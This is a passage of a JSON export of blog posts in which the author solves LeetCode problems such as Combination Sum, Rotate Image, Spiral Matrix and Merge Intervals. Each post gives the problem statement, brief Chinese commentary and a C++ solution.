may be chosen from C unlimited number of times. Note: * All numbers (including target) will be positive integers. * The solution set must not contain duplicate combinations. 题意：给n个数，求所有的组合，和为定值，每个数可以重复用) 思路：。。。。一开始用顺着枚举子集的思路。。。发现。。并不好搞。。。？还不如直接dfs… 1/* *********************************************** 2Author :111qqz 3Created Time :2017年04月13日 星期四 00时06分12秒 4File Name :39.cpp 5************************************************ */ 6class Solution { 7public: 8 9 vector\u003cvector\u003cint\u003e \u003eres; 10 vector\u003cint\u003etmp; 11 int n; 12 //思路：dfs 13 void dfs( int start,int cur,vector\u003cint\u003e \u0026nums) 14 { 15 if (cur==0) 16 { 17 res.push_back(tmp); 18 return ; 19 } 20 else if (cur\u003c0) return; 21 else 22 { 23 for ( int i = start ; i \u003c n ; i++) 24 { 25 tmp.push_back(nums[i]); 26 dfs(i,cur-nums[i],nums); 27 tmp.erase(tmp.begin()+tmp.size()-1); 28 } 29 } 30 } 31 32 vector\u003cvector\u003cint\u003e\u003e combinationSum(vector\u003cint\u003e\u0026 nums, int target) { 33 n = nums.size(); 34 if (n==0) return res; 35 dfs(0,target,nums); 36 return res; 37 } 38};","date":"2017-04-13","externalUrl":null,"permalink":"/2017/04/leetcode-39-combination-sum/","section":"Posts","summary":"Given a set of candidate numbers (C) (without duplicates) and a target number (T), find all unique combinations in C where the candidate numbers sums to T. The same repeated number may be chosen from C unlimited number of times.","tags":["dfs","leetcode"],"title":"leetcode 39. Combination Sum (dfs，求所有的组合，和为定值，每个数可以重复用)","type":"post"},{"categories":["面试"],"content":"* Total Accepted: **106670** * Total Submissions: **329718** * Difficulty: **Medium** * Contributor: **LeetCode** Given a collection of candidate numbers (C) and a target number (T), find all unique combinations in C where the candidate numbers sums to T. Each number in C may only be used once in the combination. Note: * All numbers (including target) will be positive integers. * The solution set must not contain duplicate combinations. 题意：若干正数，求所有和为target的组合。 思路：枚举子集，用和剪枝。","date":"2017-04-12","externalUrl":null,"permalink":"/2017/04/leetcode-40-combination-sum-ii/","section":"Posts","summary":"* Total Accepted: **106670** * Total Submissions: **329718** * Difficulty: **Medium** * Contributor: **LeetCode** Given a collection of candidate numbers (C) and a target number (T), find all unique combinations in C where the candidate numbers sums to T.","tags":["leetcode","枚举子集"],"title":"leetcode 40. Combination Sum II (枚举子集，和为定值)","type":"post"},{"categories":["面试"],"content":"In LLP world, there is a hero called Teemo and his attacking can make his enemy Ashe be in poisoned condition. Now, given the Teemo’s attacking ascending time series towards Ashe and the poisoning time duration per Teemo’s attacking, you need to output the total time that Ashe is in poisoned condition. You may assume that Teemo attacks at the very beginning of a specific time point, and makes Ashe be in poisoned condition immediately. 题意：若干长度相同的区间，升序给出区间左端点，以及区间长度。问区间被覆盖的长度总和。 思路：。。。。随便写。这题哪里有medium难度了啊。。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年04月12日 星期三 23时42分25秒 4File Name :495.cpp 5************************************************ */ 6class Solution { 7 8public: 9 10 int findPoisonedDuration(vector\u003cint\u003e\u0026 a, int t) { 11 int n = a.size(); 12 int res = 0; 13 for ( int i = 0 ; i \u003c n ; i++) 14 { 15 if (i==n-1) 16 { 17 res+=t; 18 continue; 19 } 20 if (a[i]+t\u003c=a[i+1]) res+=t; 21 else res = res + a[i+1]-a[i]; 22 } 23 return res; 24 25 26 } 27 28};","date":"2017-04-12","externalUrl":null,"permalink":"/2017/04/leetcode-495-teemo-attacking/","section":"Posts","summary":"In LLP world, there is a hero called Teemo and his attacking can make his enemy Ashe be in poisoned condition. Now, given the Teemo’s attacking ascending time series towards Ashe and the poisoning time duration per Teemo’s attacking, you need to output the total time that Ashe is in poisoned condition.","tags":["leetcode"],"title":"leetcode 495. Teemo Attacking","type":"post"},{"categories":["面试"],"content":"Given an array of integers, 1 ≤ a[i] ≤ n (n = size of array), some elements appear twice and others appear once. Find all the elements that appear twice in this array. Could you do it without extra space and in O(n) runtime? 思路：还是一个映射，如果某个位置要映射的时候已经为负了，就说明之前映射过该位置，那么该位置对应的元素就是出现了两个的元素。 和leetcode 448是一对题目。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年04月12日 星期三 21时49分11秒 4File Name :442.cpp 5************************************************ */ 6class Solution { 7 8public: 9 10 vector\u003cint\u003e findDuplicates(vector\u003cint\u003e\u0026 nums) { 11 vector\u003cint\u003eres; 12 int n = nums.size(); 13 if (n==0) return res; 14 for ( int i = 0 ; i \u003c n ; i++) 15 { 16 int id = abs(nums[i])-1; 17// printf(\"%d%c\",id,i==n-1?'\\n':' '); 18 if (nums[id]\u003e0)nums[id] *=-1; 19 else res.push_back(id+1); 20 } 21// for ( int i = 0 ; i\u003c n ;i++) printf(\"%d%c\",nums[i],i==n-1?'\\n':' '); 22 return res; 23 24 } 25 26};","date":"2017-04-12","externalUrl":null,"permalink":"/2017/04/leetcode-442-find-all-duplicates-in-an-array/","section":"Posts","summary":"Given an array of integers, 1 ≤ a[i] ≤ n (n = size of array), some elements appear twice and others appear once. Find all the elements that appear twice in this array.","tags":["leetcode"],"title":"leetcode 442. Find All Duplicates in an Array（找出出现两次的元素）","type":"post"},{"categories":["面试"],"content":"You are given an n x n 2D matrix representing an image. Rotate the image by 90 degrees (clockwise). Follow up: Could you do this in-place? 题意：给一个n*n的方阵，要求顺时针旋转90度。 思路：(x,y)-\u003e(y,n-1-x); 要求in-place的做法的话，其实是若干长度为4的环，保护一个节点，然后顺次做就好了。 然后对于那些标记已经做过选旋转的问题，实际上没有必要进行标记。 对于偶数，只需要处理 左上角hf * hf个,奇数只需要处理左上角hf*(hf-1)个。 其中hf = (n+1)/2 1A 11 2 3 (0,0) -\u003e(0,2) 24 5 6 37 8 9 4 5 6 77 4 1 88 5 2 99 6 3 10 11 0 1 2 3 120 1 2 3 4 (0,0)-\u003e(0,3) (0,1)-\u003e(1,3) (0,2)-\u003e(2,3) (0,3)-\u003e(3,3) 131 5 6 7 8 (1,1)-\u003e(1,2) (1,2)-\u003e(2,2) (2,2)-\u003e(2,1) 142 9 A B C (1,0)-\u003e(0,2) (2,0)-\u003e(0,1) 15D E F G //只搞四分之一角落 16 17 0 1 2 3 18D 9 5 1 19E A 6 2 20F B 7 3 21G C 8 4 22 23 241 2 253 4 26 27 283 1 294 2 30 311 2 3 4 5 326 7 8 9 10 3311 12 13 14 15 3416 17 18 19 20 3521 22 23 24 25 36 37 38 39 40 41 42 43 44 45 46 47/* *********************************************** 48Author :111qqz 49Created Time :2017年04月12日 星期三 19时56分40秒 50File Name :48.cpp 51************************************************ */ 52class Solution { 53 54public: 55 int n; 56 void rotate(int \u0026x,int \u0026y,int n) 57 { 58 int nx,ny; 59 nx = y; 60 ny = n-1-x; 61 //printf(\"(%d,%d)-\u003e(%d,%d)\\n\",x,y,nx,ny); 62 x = nx; 63 y = ny; 64 } 65 void pr(vector\u003cvector\u003cint\u003e \u003e\u0026maze) 66 { 67 for ( int i = 0 ; i \u003c n ; i++) 68 for ( int j = 0 ; j \u003c n ; j++) 69 printf(\"%c%c\",maze[i][j]\u003e9?char(maze[i][j]-10+'A'):maze[i][j]+'0',j==n-1?'\\n':' '); 70 } 71 void rotate(vector\u003cvector\u003cint\u003e\u003e\u0026 maze) { 72 n = maze.size(); 73// pr(maze); 74 int hn = (n+1)/2; 75 int tmp=-1; 76 int curx=0,cury=0; 77 78 for ( int i = 0 ; i \u003c hn ; i++ ) 79 { 80 for ( int j = 0 ; j \u003c hn-n%2 ; j++) //根据奇偶分情况 81 { 82 curx = i; 83 cury = j; 84 rotate(curx,curx,n); 85 tmp = maze[curx][cury]; 86 maze[curx][cury] = maze[i][j]; 87 for ( int k = 0 ; k \u003c 4 ; k++) //环的长度固定为4. 88 { 89 rotate(curx,cury,n); 90 swap(tmp,maze[c","date":"2017-04-12","externalUrl":null,"permalink":"/2017/04/leetcode-48-rotate-image/","section":"Posts","summary":"You are given an n x n 2D matrix representing an image. Rotate the image by 90 degrees (clockwise). Follow up: Could you do this in-place? 题意：给一个n*n的方阵，要求顺时针旋转90度。","tags":["leetcode"],"title":"leetcode 48. Rotate Image (旋转方阵(in place))","type":"post"},{"categories":["面试"],"content":"Given a matrix of m x n elements (m rows, n columns), return all elements of the matrix in spiral order. 思路：。。。再次让我回想起高一的暑假。。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年04月11日 星期二 19时42分05秒 4File Name :54.cpp 5************************************************ */ 6class Solution { 7public: 8 int n,m; //0右，1下，2左，3上 9 int cal( int \u0026x,int \u0026y,int dir,vector\u003cvector\u003cbool\u003e \u003e \u0026 vis) 10 { 11 if (dir==0) 12 { 13 if (y\u003c=n-2\u0026\u0026!vis[x][y+1]) y++; 14 else 15 { 16 dir++; 17 x++; 18 } 19 return dir; 20 } 21 if (dir==1) 22 { 23 if (x\u003c=m-2\u0026\u0026!vis[x+1][y]) x++; 24 else 25 { 26 dir++; 27 y--; 28 } 29 return dir; 30 } 31 if (dir==2) 32 { 33 if (y\u003e=1\u0026\u0026!vis[x][y-1]) y--; 34 else 35 { 36 dir++; 37 x--; 38 } 39 return dir; 40 } 41 if (dir==3) 42 { 43 if (x\u003e=1\u0026\u0026!vis[x-1][y]) x--; 44 else 45 { 46 dir = 0 ; 47 y++; 48 } 49 return dir; 50 } 51 } 52 vector\u003cint\u003e spiralOrder(vector\u003cvector\u003cint\u003e\u003e\u0026 matrix) { 53 vector\u003cint\u003eres; 54 m = matrix.size(); 55 if (m==0) return res; 56 n = matrix[0].size(); 57 if (n==0) return res; 58 vector\u003cvector\u003cbool\u003e \u003evis(m,vector\u003cbool\u003e(n,false)); 59 int x,y,dir; 60 x = y = dir = 0 ; 61 for ( int i = 0 ; i \u003c n*m ; i++) 62 { 63 printf(\"x:%d y:%d\\n\",x,y); 64 res.push_back(matrix[x][y]); 65 vis[x][y] = true; 66 dir = cal(x,y,dir,vis); 67 } 68 return res; 69 } 70};","date":"2017-04-11","externalUrl":null,"permalink":"/2017/04/leetcode-54-spiral-matrix/","section":"Posts","summary":"Given a matrix of m x n elements (m rows, n columns), return all elements of the matrix in spiral order. 思路：。。。再次让我回想起高一的暑假。。。。","tags":["leetcode"],"title":"leetcode 54. Spiral Matrix (矩阵蛇形取数)","type":"post"},{"categories":["面试"],"content":"Given a collection of intervals, merge all overlapping intervals. For example, Given [1,3],[2,6],[8,10],[15,18], return [1,6],[8,10],[15,18]. 思路:dp[i]表示能否到达位置i…无脑dp即可。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年04月11日 星期二 19时33分51秒 4File Name :55.cpp 5************************************************ */ 6class Solution { 7 8public: 9 10 bool canJump(vector\u003cint\u003e\u0026 nums) { 11 int n = nums.size(); 12 if (n==0) return false; 13 vector\u003cint\u003edp(n,false); 14 dp[0] = true; 15 for ( int i = 0 ; i \u003c n ; i++) 16 { 17 if (dp[i]) 18 { 19 int r = min(i+nums[i],n-1); 20 for ( int j = i+1 ; j \u003c=r ; j++) 21 dp[j] = true; 22 } 23 } 24 return dp[n-1]; 25 26 27 } 28 29};","date":"2017-04-11","externalUrl":null,"permalink":"/2017/04/leetcode-55-jump-game-dp/","section":"Posts","summary":"Given a collection of intervals, merge all overlapping intervals. For example, Given [1,3],[2,6],[8,10],[15,18], return [1,6],[8,10],[15,18]. 思路:dp[i]表示能否到达位置i…无脑dp即可。。。","tags":["leetcode"],"title":"leetcode  55. Jump Game (dp)","type":"post"},{"categories":["面试"],"content":"Given a collection of intervals, merge all overlapping intervals. For example, Given [1,3],[2,6],[8,10],[15,18], return [1,6],[8,10],[15,18]. 思路：扫一遍即可。。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年04月11日 星期二 19时15分30秒 4File Name :56.cpp 5************************************************ */ 6/** 7 8 * Definition for an interval. 9 10 * struct Interval { 11 12 * int start; 13 14 * int end; 15 16 * Interval() : start(0), end(0) {} 17 18 * Interval(int s, int e) : start(s), end(e) {} 19 20 * }; 21 22 */ 23 24class Solution { 25 26public: 27 28 int n; 29 static bool cmp(Interval A,Interval B) 30 { 31 return A.start\u003cB.start; 32 } 33 vector\u003cInterval\u003e merge(vector\u003cInterval\u003e\u0026 pi) { 34 vector\u003cInterval\u003eres; 35 n = pi.size(); 36 if (n==0) return res; 37 sort(pi.begin(),pi.end(),cmp); 38 int l = -1,r = -1; 39 for ( int i = 0 ; i \u003c n ; i++) 40 { 41 if (l==-1\u0026\u0026r==-1) 42 { 43 l = pi[0].start; 44 r = pi[0].end; 45 continue; 46 } 47 if (pi[i].start\u003c=r) 48 { 49 r = max(r,pi[i].end); 50 continue; 51 } 52 if (pi[i].start\u003er) 53 { 54 res.push_back(Interval(l,r)); 55 l = pi[i].start; 56 r = pi[i].end; 57 continue; 58 } 59 } 60 //最后一组不要忘记 61 res.push_back(Interval(l,r)); 62 int siz = res.size(); 63 for ( int i = 0 ; i \u003c siz ;i++) printf(\"%d \",res[i].start,res[i].end); 64 65 66 return res; 67 68 } 69 70};","date":"2017-04-11","externalUrl":null,"permalink":"/2017/04/leetcode-56-merge-intervals/","section":"Posts","summary":"Given a collection of intervals, merge all overlapping intervals. For example, Given [1,3],[2,6],[8,10],[15,18], return [1,6],[8,10],[15,18]. 思路：扫一遍即可。。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年04月11日 星期二 19时15分30秒 4File Name :56.cpp 5************************************************ */ 6/** 7 8 * Definition for an interval. 9 10 * struct Interval { 11 12 * int start; 13 14 * int end; 15 16 * Interval() : start(0), end(0) {} 17 18 * Interval(int s, int e) : start(s), end(e) {} 19 20 * }; 21 22 */ 23 24class Solution { 25 26public: 27 28 int n; 29 static bool cmp(Interval A,Interval B) 30 { 31 return A.start\u003cB.start; 32 } 33 vector\u003cInterval\u003e merge(vector\u003cInterval\u003e\u0026 pi) { 34 vector\u003cInterval\u003eres; 35 n = pi.size(); 36 if (n==0) return res; 37 sort(pi.begin(),pi.end(),cmp); 38 int l = -1,r = -1; 39 for ( int i = 0 ; i \u003c n ; i++) 40 { 41 if (l==-1\u0026\u0026r==-1) 42 { 43 l = pi[0].start; 44 r = pi[0].end; 45 continue; 46 } 47 if (pi[i].start\u003c=r) 48 { 49 r = max(r,pi[i].end); 50 continue; 51 } 52 if (pi[i].start\u003er) 53 { 54 res.push_back(Interval(l,r)); 55 l = pi[i].start; 56 r = pi[i].end; 57 continue; 58 } 59 } 60 //最后一组不要忘记 61 res.push_back(Interval(l,r)); 62 int siz = res.size(); 63 for ( int i = 0 ; i \u003c siz ;i++) printf(\"%d \",res[i].start,res[i].end); 64 65 66 return res; 67 68 } 69 70};","tags":["leetcode"],"title":"leetcode 56. Merge Intervals (模拟，求相交区间)","type":"post"},{"categories":["面试"],"content":"Given an integer n, generate a square matrix filled with elements from 1 to _n_2 in spiral order. 思路：仿佛回到高一的那个暑假。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年04月11日 星期二 18时52分15秒 4File Name :59.cpp 5************************************************ */ 6class Solution { 7 8public: 9 10 11 int ok (int dir, int \u0026x,int \u0026y,int n,vector\u003cvector\u003cint\u003e \u003e\u0026res) // 0右，1下，2左，3上 12 { 13 if (dir==0) 14 { 15 if (y\u003c=n-2\u0026\u0026res[x][y+1]==0) y++; 16 else 17 { 18 dir++; 19 x++; 20 } 21 return dir; 22 } 23 if (dir==1) 24 { 25 if (x\u003c=n-2\u0026\u0026res[x+1][y]==0) x++; 26 else 27 { 28 dir++; 29 y--; 30 } 31 return dir; 32 } 33 if (dir==2) 34 { 35 if (y\u003e=1\u0026\u0026res[x][y-1]==0) y--; 36 else 37 { 38 dir++; 39 x--; 40 } 41 return dir; 42 } 43 if (dir==3) 44 { 45 if (x\u003e=1\u0026\u0026res[x-1][y]==0) x--; 46 else 47 { 48 dir = 0 ; 49 y++; 50 } 51 return dir; 52 } 53 } 54 55 56 57 58 vector\u003cvector\u003cint\u003e\u003e generateMatrix(int n) { 59 60 vector\u003cvector\u003cint\u003e \u003eres(n,vector\u003cint\u003e(n,0)); 61 int dir = 0; 62 int x,y; 63 x = y = 0 ; 64 for ( int i = 0 ; i \u003c n*n ; i++) 65 { 66 res[x][y] = i+1; 67// printf(\" x:%d y: %d\\n\",x,y); 68 dir = ok (dir,x,y,n,res); 69 } 70 return res; 71 72 73 } 74 75};","date":"2017-04-11","externalUrl":null,"permalink":"/2017/04/59-spiral-matrix-ii/","section":"Posts","summary":"Given an integer n, generate a square matrix filled with elements from 1 to _n_2 in spiral order. 思路：仿佛回到高一的那个暑假。。。","tags":["leetcode"],"title":"leetocde 59. Spiral Matrix II (模拟)","type":"post"},{"categories":["面试"],"content":"Follow up for “Unique Paths”: Now consider if some obstacles are added to the grids. How many unique paths would there be? An obstacle and empty space is marked as 1 and 0 respectively in the grid. For example, There is one obstacle in the middle of a 3x3 grid as illustrated below. 1[ 2 [0,0,0], 3 [0,1,0], 4 [0,0,0] 5] The total number of unique paths is 2. 题意：从左上到右下的方案数，有些点不能走。 思路：简单dp…1A 1/* *********************************************** 2Author :111qqz 3Created Time :2017年04月11日 星期二 18时37分47秒 4File Name :63.cpp 5************************************************ */ 6class Solution { 7public: 8 int n,m; 9 void pr(vector\u003cvector\u003cint\u003e \u003e \u0026 a) 10 { 11 for ( int i = 0 ; i \u003c n ; i++) 12 for ( int j = 0 ;j \u003c m ; j++) 13 printf(\"%d%c\",a[i][j],j==m-1?'\\n':' '); 14 } 15 int uniquePathsWithObstacles(vector\u003cvector\u003cint\u003e\u003e\u0026 maze) { 16 n = maze.size(); 17 m = maze[0].size(); 18 vector\u003cvector\u003cint\u003e \u003edp(n,vector\u003cint\u003e(m,0)); 19 bool sad = false; 20 for ( int i = 0 ; i \u003c n ; i++) 21 { 22 if (maze[i][0]==1) sad = true; 23 if (sad) dp[i][0] = 0 ; 24 else dp[i][0] = 1; 25 } 26 sad = false; 27 for ( int j = 0 ; j \u003c m ; j++) 28 { 29 if (maze[0][j]==1) sad = true; 30 if (sad) dp[0][j] = 0 ; 31 else dp[0][j] = 1; 32 } 33// pr(dp); 34 for ( int i = 1 ; i \u003c n ; i++) 35 { 36 for ( int j = 1 ; j \u003c m ; j++) 37 { 38 if (maze[i][j]==1) dp[i][j]=0; 39 else dp[i][j] = dp[i-1][j] + dp[i][j-1]; 40 } 41 } 42// pr(dp); 43 return dp[n-1][m-1]; 44 } 45};","date":"2017-04-11","externalUrl":null,"permalink":"/2017/04/63-unique-paths-ii/","section":"Posts","summary":"Follow up for “Unique Paths”: Now consider if some obstacles are added to the grids. How many unique paths would there be? An obstacle and empty space is marked as 1 and 0 respectively in the grid.","tags":["dp","leetcode"],"title":"leetocde 63. Unique Paths II","type":"post"},{"categories":["面试"],"content":"Given a m x n grid filled with non-negative numbers, find a path from top left to bottom right which minimizes the sum of all numbers along its path. Note: You can only move either down or right at any point in time. 数字三角形。。。。从坐上到右下问最短路径。。每次只能向下或者向右。。。 wa了一次。。。是因为边界值赋值成了0.。。求最短路径显然因为赋值成inf才对orz..果然傻了。。 简单的dp我们简单的A. 顺便吐槽一下。。(100,100)的答案会溢出int…然而答案就是负的。。。就没人check一下吗，，， 1/* *********************************************** 2Author :111qqz 3Created Time :2017年04月10日 星期一 10时11分26秒 4File Name :64.cpp 5************************************************ */ 6class Solution { 7public: 8 int minPathSum(vector\u003cvector\u003cint\u003e\u003e\u0026 grid) { 9 int n = grid.size(); 10 int m = grid[0].size(); 11 vector\u003cvector\u003cint\u003e \u003e dp(n+1,vector\u003cint\u003e(m+1,0x3f3f3f3f)); //求最小路径，初始化为最大值。 12 13 dp[n-1][m-1] = grid[n-1][m-1]; 14 for ( int i = n-1 ; i \u003e= 0 ; i--) 15 { 16 for ( int j = m-1 ; j \u003e= 0 ; j--) 17 { 18 if (i==n-1\u0026\u0026j==m-1) continue; 19 dp[i][j] = min(dp[i+1][j],dp[i][j+1]) + grid[i][j]; 20 } 21 } 22 23 for ( int i = 0 ; i \u003c n ; i++) 24 { 25 for ( int j = 0 ; j \u003c m ; j++) 26 printf(\"%d \",dp[i][j]); 27 printf(\"\\n\"); 28 } 29 int res = dp[0][0]; 30 cout\u003c\u003c\"res:\"\u003c\u003cres\u003c\u003cendl; 31 return res; 32 } 33};","date":"2017-04-10","externalUrl":null,"permalink":"/2017/04/leetcode-64-minimum-path-sum/","section":"Posts","summary":"Given a m x n grid filled with non-negative numbers, find a path from top left to bottom right which minimizes the sum of all numbers along its path. Note: You can only move either down or right at any point in time.","tags":["dp","leetcode"],"title":"leetcode 64. Minimum Path Sum (二维dp)","type":"post"},{"categories":["面试"],"content":"Given a m x n matrix, if an element is 0, set its entire row and column to 0. Do it in place. click to show follow up. **Follow up:**Did you use extra space? A straight forward solution using O(m__n) space is probably a bad idea. A simple improvement uses O(m + n) space, but still not the best solution. Could you devise a constant space solution? 直接放常数空间的做法。 这道题面hypereal的时候遇到过，基本思路就是用已经确定是0的位置来存储其他行和列的信息。 三点注意： * (x,y)不要放任何信息，不然行和列的信息，后面处理的那个可能被覆盖掉。 * (x,y)位置要进行标记，否则默认的0值可能会造成歧义 * 赋值成0的时候要分成两部分，处理的时候避免因为处理前面赋值成了0，把后面标记的行和列的标号覆盖掉。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年04月10日 星期一 08时06分27秒 4File Name :73.cpp 5************************************************ */ 6class Solution { 7public: 8 void setZeroes(vector\u003cvector\u003cint\u003e\u003e\u0026 a) { 9 int n = a.size(); 10 int m = a[0].size(); 11 bool ok = false; 12 int x,y; 13 x = y = -1; 14 for ( int i = 0 ; i \u003c n ; i++) 15 { 16 if (ok) break; 17 for ( int j = 0 ; j \u003c m; j++) 18 { 19 if (a[i][j]==0) 20 { 21 x = i; 22 y = j; 23 ok = true; 24 break; 25 } 26 } 27 } 28 if (x==-1) return ; //没有0存在 29 30 31 int cntx=0,cnty=0; 32 for ( int i = 0 ; i \u003c n ; i++) // note to avoid the (x,y) to record any info,or it may be coverd by the latter info 33 { 34 if (i!=x) 35 for ( int j = 0 ;j \u003c m ; j++) 36 { 37 if (a[i][j]==0) 38 { 39 if (cntx==x) 40 { 41 a[cntx][y] = -1; 42 cntx++; 43 } 44 a[cntx++][y] = i; 45 break; 46 } 47 } 48 } 49 for ( int j = 0 ; j \u003c m ; j++) 50 { 51 if (j!=y) 52 for ( int i = 0 ; i \u003c n ; i++) 53 { 54 if (a[i][j]==0) 55 { 56 if (cnty==y) 57 { 58 a[x][cnty] = -1; // set a mark the (x,y),or the original value 0 will mislead the program. 59 cnty++; 60 } 61 a[x][cnty++] = j ; 62 break; 63 } 64 } 65 } 66 for ( int i = 0 ; i \u003c cntx ; i++) 67 { 68 int XX = a[i][y]; 69 70 if (XX==x||XX==-1) co","date":"2017-04-10","externalUrl":null,"permalink":"/2017/04/leetcode-73-set-matrix-zeroes/","section":"Posts","summary":"Given a m x n matrix, if an element is 0, set its entire row and column to 0. Do it in place. click to show follow up. **Follow up:**Did you use extra space? A straight forward solution using O(m__n) space is probably a bad idea. A simple improvement uses O(m + n) space, but still not the best solution. Could you devise a constant space solution?","tags":["leetcode"],"title":"leetcode  73. Set Matrix Zeroes (矩阵置0，乱搞)","type":"post"},{"categories":["面试"],"content":"Given an array of n integers where n \u003e 1, nums, return an array output such that output[i] is equal to the product of all the elements of nums except nums[i]. Solve it without division and in O(n). For example, given [1,2,3,4], return [24,12,8,6]. Follow up: Could you solve it with constant space complexity? (Note: The output array does not count as extra space for the purpose of space complexity analysis.) 先来个O(n)空间的无脑解法。。。一个前缀积一个后缀积就好了。。。 1class Solution { 2public: 3 vector\u003cint\u003e productExceptSelf(vector\u003cint\u003e\u0026 nums) { 4 vector\u003cint\u003eres; 5 vector\u003cint\u003epre,suf; 6 int siz = nums.size(); 7 if (siz==0) return res; 8 for ( int i = 0 ; i \u003c siz ; i++) 9 { 10 int tmp; 11 if (i==0) tmp = nums[0]; 12 else tmp = pre[i-1]*nums[i]; 13 pre.push_back(tmp); 14 } 15 int cnt = 0 ; 16 for ( int i = siz -1 ; i\u003e= 0 ; i--) 17 { 18 int tmp; 19 if (i==siz-1) tmp = nums[siz-1]; 20 else tmp = suf[cnt++]*nums[i]; 21 suf.push_back(tmp); 22 } 23 // for ( int i = 0 ; i \u003c siz ; i++) printf(\"%d \",pre[i]); puts(\"\"); 24 // for ( int i = 0 ; i \u003c siz ; i++) printf(\"%d \",suf[i]);puts(\"\"); 25 reverse(suf.begin(),suf.end()); 26 for ( int i = 0 ; i \u003c siz; i++) 27 { 28 int l = i-1; 29 int r = i+1; 30 int x,y; 31 if (l\u003c0) x = 1; 32 else x = pre[l]; 33 if (r\u003e=siz) y = 1; 34 else y = suf[r]; 35 // cout\u003c\u003c\"x:\"\u003c\u003cx\u003c\u003c\" y:\"\u003c\u003cy\u003c\u003cendl; 36 res.push_back(x*y); 37 } 38 return res; 39 40 } 41}; 常数空间的做法。。。想了半天没有想法。。。 看了solution…发现就是借用res数组搞事情。。。。每个位置的答案扫完两遍得到。。。 感觉。。。非常的。。。无聊啊。。。。真心没意思吧，还以为是什么巧妙的做法呢。。。","date":"2017-04-09","externalUrl":null,"permalink":"/2017/04/leetcode-238-product-of-array-except-self/","section":"Posts","summary":"Given an array of n integers where n \u003e 1, nums, return an array output such that output[i] is equal to the product of all the elements of nums except nums[i].","tags":["leetcode"],"title":"leetcode 238. Product of Array Except Self (乱搞)","type":"post"},{"categories":["面试"],"content":"Given a 2D board and a word, find if the word exists in the grid. The word can be constructed from letters of sequentially adjacent cell, where “adjacent” cells are those horizontally or vertically neighboring. The same letter cell may not be used more than once. 思路：dfs即可。记得要回溯一下… 1/* *********************************************** 2Author :111qqz 3Created Time :2017年04月07日 星期五 14时32分54秒 4File Name :79.cpp 5************************************************ */ 6class Solution { 7 8public: 9 10 int n,m; 11 const int dx4[4]={1,-1,0,0}; 12 const int dy4[4]={0,0,-1,1}; 13 bool vis[1005][1005]; 14 int len; 15 16 bool yes( int x,int y) 17 { 18 if (x\u003e=0\u0026\u0026x\u003c=n-1\u0026\u0026y\u003e=0\u0026\u0026y\u003c=m-1) return true; 19 return false; 20 } 21 22 bool dfs( int x,int y,int cur,vector\u003cvector\u003cchar\u003e \u003e \u0026 maze,string \u0026 st) 23 { 24// printf(\"x:%d y:%d cur : %d\\n\",x,y,cur); 25 if (cur\u003e=len) return true; 26 for ( int i = 0 ; i \u003c 4 ; i++) 27 { 28 int nx = x + dx4[i]; 29 int ny = y + dy4[i]; 30 if (!yes(nx,ny)) continue; 31 if (vis[nx][ny]) continue; 32 if (maze[nx][ny]!=st[cur]) continue; 33 vis[nx][ny] = true; 34 bool res = dfs(nx,ny,cur+1,maze,st); 35 if (res) return true; 36 vis[nx][ny] = false ;//好像还要回溯一下啊？ 37 } 38 return false; 39 } 40 41 bool exist(vector\u003cvector\u003cchar\u003e\u003e\u0026 board, string word) { 42 n = board.size(); 43 if (n==0) return false; 44 m = board[0].size(); 45 if (m==0) return false; 46 len = word.length(); 47 cout\u003c\u003c\"len:\"\u003c\u003clen\u003c\u003cendl; 48 char beg = word[0]; 49 for ( int i = 0 ; i \u003c n ; i++) 50 for ( int j = 0 ; j \u003c m ; j++) 51 if (board[i][j]==beg) 52 { 53 memset(vis,false,sizeof(vis)); 54 //起点忘记打标记了。。。智力-2.。。 55 vis[i][j] = true; 56 bool ok = dfs(i,j,1,board,word); 57 cout\u003c\u003c\"ok:\"\u003c\u003cok\u003c\u003cendl; 58 if (ok) return true; 59 } 60 return false; 61 62 63 } 64 65};","date":"2017-04-07","externalUrl":null,"permalink":"/2017/04/leetcode-79-word-search-dfs/","section":"Posts","summary":"Given a 2D board and a word, find if the word exists in the grid. The word can be constructed from letters of sequentially adjacent cell, where “adjacent” cells are those horizontally or vertically neighboring. The same letter cell may not be used more than once.","tags":["leetcode","dfs"],"title":"leetcode 79. Word Search (dfs)","type":"post"},{"categories":["面试"],"content":"Follow up for “Remove Duplicates”: What if duplicates are allowed at most twice? For example, Given sorted array nums = [1,1,1,2,2,3], Your function should return length = 5, with the first five elements of nums being 1, 1, 2, 2 and 3. It doesn’t matter what you leave beyond the new length. Subscribe to see which companies asked this question. 题意：一个有序数组，每个元素最多出现两次，如果大于两次，把多的去掉，返回去掉后的数组长度len，以及要求数组前len是去掉那些元素之后的元素。//语死早。。看原题好了。。 思路：排序了还不是随便搞？ 没要求空间再开一个标记空间。。。O(1)空间的话。。就乱搞一下？ 1/* *********************************************** 2Author :111qqz 3Created Time :2017年04月05日 星期三 21时25分48秒 4File Name :80.cpp 5************************************************ */ 6class Solution { 7 8public: 9 10 int removeDuplicates(vector\u003cint\u003e\u0026 nums) { 11 int siz = nums.size(); 12 if (siz==0) return 0; 13 int p = 0; 14 int magic = -324784312; 15 for ( int i = 0 ; i \u003c siz-1 ; i++) 16 { 17 if (nums[i]==nums[i+1]) p++; 18 else p = 0; 19 if (p\u003e=2) nums[i-1] = magic; 20 } 21 int cur = 0; 22 for ( int i = 0 ; i \u003c siz ; i++) 23 { 24 if (nums[i]!=magic) nums[cur++] = nums[i]; 25 } 26 return cur; 27 28 } 29 30};","date":"2017-04-05","externalUrl":null,"permalink":"/2017/04/leetcode-80-remove-duplicates-from-sorted-array-ii/","section":"Posts","summary":"Follow up for “Remove Duplicates”: What if duplicates are allowed at most twice? For example, Given sorted array nums = [1,1,1,2,2,3], Your function should return length = 5, with the first five elements of nums being 1, 1, 2, 2 and 3. It doesn’t matter what you leave beyond the new length.","tags":["leetcode"],"title":"leetcode 80 Remove Duplicates from Sorted Array II  （有序数组去除重复元素）","type":"post"},{"categories":["面试"],"content":"Suppose an array sorted in ascending order is rotated at some pivot unknown to you beforehand. (i.e., 0 1 2 4 5 6 7 might become 4 5 6 7 0 1 2). Write a function to determine if a given target is in the array. The array may contain duplicates. 好像阿里一面的时候问过。。。 